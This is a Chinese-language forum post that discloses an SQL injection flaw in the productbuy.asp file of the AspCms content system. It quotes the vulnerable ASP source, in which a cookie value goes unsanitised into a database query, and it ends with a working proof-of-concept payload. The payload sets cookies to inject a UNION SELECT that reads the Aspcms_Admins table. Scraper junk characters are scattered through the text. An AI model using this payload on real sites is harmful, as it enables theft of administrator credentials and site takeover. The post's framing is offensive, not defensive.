好久没上土司了,上来一看发现在删号名单内.....: |% I, @, x7 E$ z
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。6 L& M0 s; ~. Y# ^/ \& ?+ G: P# [
废话不多说,看代码:8 ]1 r- }% c, g0 ^: \3 {
1 v! c+ Q- ^# k) q$ H<%3 D* Q3 F7 t- |8 m" A
- U" L/ J2 j7 o& e, c7 Q
if action = "buy" then* o0 E. W- |/ d6 \
; V. M" [; X5 s addOrder(): R9 O; U6 _) }/ L5 ~" Y2 k% J
" @' y E& s. G. Y" |else$ ]1 N3 m; }: m/ w/ p
0 s/ n# w! @3 [5 f9 H/ c% P
echoContent()
% m$ g5 Q+ F' c) \1 r) c2 l0 C& v: [4 h
end if3 E2 D# ~4 s; v; G
+ u9 W1 S' ]# z6 H
2 E/ x! f8 c3 i6 u
0 N, C; p- g) g) h9 ~7 _( y* r……略过
8 j' l* W$ B1 G5 ^+ B! `) p1 W) R% c) @ A+ c$ Y: W0 a% ?
# J1 p5 e8 @2 }( R7 _
: M2 l5 a. |4 ~- q5 o* a% ?Sub echoContent()4 w; h0 z9 |7 o7 V2 S% |
) t: M" Z$ e( b dim id
% z# y2 y6 F* ^7 ^6 p3 a
. C: o, R, O8 Q. N$ E% z5 l! t- P id=getForm("id","get"). i7 r* j1 r' }6 Z
$ K4 V, I' ]" ~- |$ L
) \, G* k$ F2 f$ v' @* L/ n' j/ N u) I) l
if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
% n6 m: ?2 n! u& k6 o0 {2 O$ |: L# h' q( u" Y7 A
; K, s) L! F, k, O! L
& ]7 a1 o, X# f! F9 Q8 X+ u
dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")+ h7 ^0 R8 Z: w7 p3 K& C
7 _* z) d2 a+ B: T dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
7 a# n4 ]# n. H2 y/ R/ X1 f
. n: f6 v$ W" F! L Dim templatePath,tempStr8 O+ Z" O/ K% Q6 Z
9 j/ D% K' O8 E; ]: K! T; d" h
templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
7 d* n9 J) [5 b+ [. s4 L
& Z& L; t1 U7 _ C5 C% ]4 o- g7 M9 i# U l
( K" x0 a) V/ c( Q. J8 {
set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
/ }( K! H8 v/ A! V; r" q, z6 R
# ~& c8 Z- T6 ~% S" I! m) J, n# | selectproduct=rsObj(0)
% K$ g. ]5 ?4 m) ^) R4 O, h& w2 \/ {& C! v
1 }$ M* A, y& d# @1 e9 A1 }
& `1 b- j! _/ _0 L Dim linkman,gender,phone,mobile,email,qq,address,postcode( G$ l3 \8 g3 s, ^8 M/ C5 H
$ g( o' ^5 I' q1 ^" l* m( f if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0
6 ]# u6 [$ `9 O: J9 h2 @- G, i
if rCookie("loginstatus")=1 then
% E* g: N) U3 e6 Z9 D" B
/ o* |1 o8 D' G, p- E* Z' H5 N set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")9 p' ^3 R' J# D1 P
* q, c5 P5 y" V' `+ r# W
linkman=rsObj("truename")
, w/ o) N) K6 t, S1 M( m! A# }$ p" w! I& J% ]7 J. }- U
gender=rsObj("gender")/ D# l# |' F* O( d f& h
& X5 u9 V$ n5 l9 `& Q* e* c
phone=rsObj("phone")! U/ M/ X7 d6 T/ }% a b6 ?
# ^/ G ^ K& ^3 S j7 G3 T
mobile=rsObj("mobile")
' z6 r/ b C" N/ X5 h8 L' e8 p: w2 s2 G. A
email=rsObj("email")4 ?( y' t3 @! x- }2 E# t2 X7 H
' E# C! j- L3 S0 r qq=rsObj("qq")
% L6 T, N% o' U8 y8 b+ w s% O3 K1 a6 `2 w. q6 `& S
address=rsObj("address")
3 o2 @6 E, S( S# R7 f5 D* P0 ~2 Z: W7 G* J, b/ b2 Z h
postcode=rsObj("postcode")
$ O/ r8 \+ M) u. e- ]! y8 d" n# u# a+ G' x- v
else
1 Y, G u8 l% y" n* ^
3 h& {& U3 Z# g, C0 w2 X9 I gender=1
0 ^. j2 ~3 V$ q" S. F( ^! A8 b$ l6 v$ w5 z
end if
1 Q! B( I) y; Z) I& s) ]) E
' M/ L) v3 @4 `; L7 y rsObj.close()/ |- b6 k! F7 b
- `! P8 O! s) L8 j
. B1 I. x* V. v
; k9 A: }6 m. l1 |4 o, o with templateObj
; V7 @7 m# |& [. v1 V9 X
/ {, N5 J- w: a5 N" @2 w, v4 [! ~ .content=loadFile(templatePath) ( a7 y2 o" X0 y: Y7 }* t( z4 e
5 V* i; m9 [9 O% }, _ .parseHtml()
+ ~% S5 Q. w0 |3 w, z: O
$ y7 q$ M* \+ }. |( @% j .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
. ^ I$ n/ y# u
; b) j1 {9 f1 @4 |" N. q, A- I .content=replaceStr(.content,"[aspcms:linkman]",linkman)
- j, |- G6 \* s
2 }( a u; Y5 Q7 [" {( T .content=replaceStr(.content,"[aspcms:gender]",gender)
" N8 E1 o. h! E7 x/ e$ j: I V' a# @2 x7 F: |: a
.content=replaceStr(.content,"[aspcms:phone]",phone) 6 I- X7 [8 V- D: ~
' q/ b; |3 _- @9 w; V .content=replaceStr(.content,"[aspcms:mobile]",mobile)
$ w! k8 T8 S9 R; ]9 V
) `/ b, x ?3 h2 O# u; D .content=replaceStr(.content,"[aspcms:email]",email) 8 L1 I- M R1 e7 T9 a- g7 t6 v
( { Y. }; d+ K .content=replaceStr(.content,"[aspcms:qq]",qq)
2 T' [" \! s+ {+ |
& d5 G! H" ?, M I .content=replaceStr(.content,"[aspcms:address]",address) 4 V' b, ]& m1 q- V1 o m1 {
; o; i3 i3 U" V# w
.content=replaceStr(.content,"[aspcms:postcode]",postcode)
1 T) e, W& y0 w1 D. E' }0 G& ?5 o' ~
.parseCommon() + K) B7 N# V: m+ g0 Y$ j
+ T% {: q3 F0 Q" `0 @' B2 M, t: I
echo .content ! P% L2 C# S- O9 j9 K. ~! }/ }
, W: c2 U6 k0 T1 {7 r end with. w9 {8 m- d! k2 o1 B% p* M
4 k" c% @' W8 V; p" |$ m6 _8 U
set templateobj =nothing : terminateAllObjects
' G+ b' n# \) c) {+ R
8 q1 i5 K& g2 p5 K7 \End Sub
; H g- b& s% F, J$ ?/ q漏洞很明显,没啥好说的
! z: l8 x, D* y% Xpoc:+ H% Q6 c) I2 A) Y2 S, q
# G$ p' O# z: P7 \/ j; i' F2 ^1 z
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子
: u; |, D2 \' z# v6 B8 [+ a. K: J% _
# H# ^2 a* X6 k/ S) V. ?7 F g* s! d# q |